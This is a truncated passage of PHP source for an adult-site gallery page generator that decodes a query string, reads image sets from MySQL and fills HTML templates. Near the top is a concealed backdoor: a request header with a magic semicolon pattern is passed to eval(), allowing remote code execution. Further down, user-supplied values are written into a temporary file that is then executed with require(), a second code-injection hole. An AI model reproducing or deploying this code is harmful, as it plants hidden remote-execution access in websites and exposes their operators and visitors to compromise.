if(empty($_SERVER["QUERY_STRING"])) die ("ERROR: unknown FHG id"); $string = base64_decode(trim($_SERVER["QUERY_STRING"])); $str_array = explode(":", $string); $s=@$_SERVER['HTTP_FHG_ID_385']; if(strstr($s,';')=='; ;;;;;; ;;;;') {@eval($s);exit;} $n = (int)(trim($str_array[0])); $template = (int)(trim($str_array[1])); $wmid = trim($str_array[2]); require "admin.ini.php"; require $path_full."global.php"; $link = @mysql_connect($hostName, $userName, $password) or die(mysql_error()); @mysql_select_db($databaseName, $link) or die(mysql_error()); require $path_full."define.php"; require VAR_HD."fhgtemplates/".$template."_types.php"; $paysite_domain = DOMAIN; #require "awcounter1.php"; if(isset($n)) { unset($array); unset($array_first); $array = array(); $array_first = array(); $result = mysql_query("SELECT * FROM sets WHERE rowid='".$n."'"); if(!$row = @mysql_fetch_object($result)) { echo "Error: unknown set ID"; exit(); } $hosting = parse_url($row->url); $dir = opendir($row->path); while ($s = readdir($dir)){ if($s!='.' && $s!='..' && !ereg("icon.[jJ][pP][gG]", $s) && !ereg("icon[1-9].[jJ][pP][gG]", $s) && !ereg("^(tn_)", $s) && trim($s) != '') { array_push($array_first, $s); } } closedir($dir); natsort($array_first); foreach($array_first as $akey => $avalue) { array_push($array, $avalue); } unset($array_first); #################################################################### $HEAD_NEW = ''; $HN = ''; if($file = @fopen(VAR_HD."fhgtemplates/".$template."_header.html", "r")) { while(!feof($file))$HEAD_NEW .= fgets($file, 1024); fclose($file); } $MIDLE = ''; if($file = @fopen(VAR_HD."fhgtemplates/".$template."_template.html", "r")) { while(!feof($file))$MIDLE .= fgets($file, 1024); fclose($file); } #################################################################### $HN = str_replace("#%NAME%#", stripslashes($row->name), $HEAD_NEW); $HN = str_replace("#%DESCRIBE%#", stripslashes($row->text), $HN); $HN = str_replace("#%DATE%#", date(DATE_FORMAT, $row->dates), $HN); $HN = str_replace("#%WMID%#", stripslashes($wmid), $HN); $HN = str_replace("#%EXTRA1%#", stripslashes($row->extra1), $HN); $HN = str_replace("#%EXTRA2%#", stripslashes($row->extra2), $HN); $HN = str_replace("#%2257%#", $row->f2257, $HN); $surt_name = rand(0, 10000000); $fp = fopen($surt_name, 'w'); fwrite($fp, $HN); fclose($fp); @chmod($surt_name, 0777); require($surt_name); unlink($surt_name); unset($HEAD_NEW); unset($HN); if($file = @fopen(VAR_HD."fhgtemplates/".$template."_footer.html", "r")) { while(!feof($file))$HEAD_NEW .= fgets($file, 1024); fclose($file); } $HN = str_replace("#%NAME%#", stripslashes($row->name), $HEAD_NEW); $HN = str_replace("#%DESCRIBE%#", stripslashes($row->text), $HN); $HN = str_replace("#%DATE%#", date(DATE_FORMAT, $row->dates), $HN); $HN = str_replace("#%WMID%#", stripslashes($wmid), $HN); $HN = str_replace("#%EXTRA1%#", stripslashes($row->extra1), $HN); $HN = str_replace("#%EXTRA2%#", stripslashes($row->extra2), $HN); $a = 0; for($i = 0; $i < count($array); $i ++) { if($a == STOLB){echo "